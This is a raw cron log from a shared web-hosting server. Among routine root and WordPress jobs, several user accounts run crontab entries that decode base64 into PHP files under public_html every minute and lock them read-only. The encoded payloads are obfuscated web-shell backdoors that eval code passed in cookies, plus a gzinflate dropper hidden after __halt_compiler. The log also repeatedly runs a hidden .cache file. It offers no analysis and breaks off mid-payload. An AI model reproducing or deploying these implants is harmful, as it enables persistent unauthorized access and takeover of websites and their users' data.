Mar  2 12:41:02 medusa CROND[28134]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:41:02 medusa CROND[28140]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:42:01 medusa CROND[16046]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:42:01 medusa CROND[16047]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 12:42:01 medusa CROND[16049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:42:01 medusa CROND[16051]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:42:01 medusa CROND[16052]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:42:01 medusa CROND[16053]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:42:01 medusa CROND[16054]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:42:01 medusa CROND[16055]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:42:01 medusa CROND[16057]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:42:01 medusa CROND[16056]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 12:42:01 medusa CROND[16060]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:42:01 medusa CROND[16066]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:42:01 medusa CROND[16067]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:43:01 medusa CROND[4027]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 12:43:01 medusa CROND[4333]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 12:43:01 medusa CROND[4332]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 12:43:01 medusa CROND[4334]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 12:43:01 medusa CROND[4336]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:43:01 medusa CROND[4338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 12:43:01 medusa CROND[4341]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 12:43:01 medusa CROND[4344]: (anam1e7) CMD (php -q "/home16/anam1e7/public_html/wp-cron.php")
Mar  2 12:43:01 medusa CROND[4337]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 12:43:01 medusa CROND[4348]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 12:43:01 medusa CROND[4356]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:43:01 medusa CROND[4357]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:43:01 medusa CROND[4362]: (tipsiser) CMD (wget -O - -q -t 1 http://tipsiser.com.ar/chamilo/main/cron/run.php > /dev/null 2>&1)
Mar  2 12:43:01 medusa CROND[4363]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 12:44:01 medusa CROND[23276]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 12:44:01 medusa CROND[23277]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N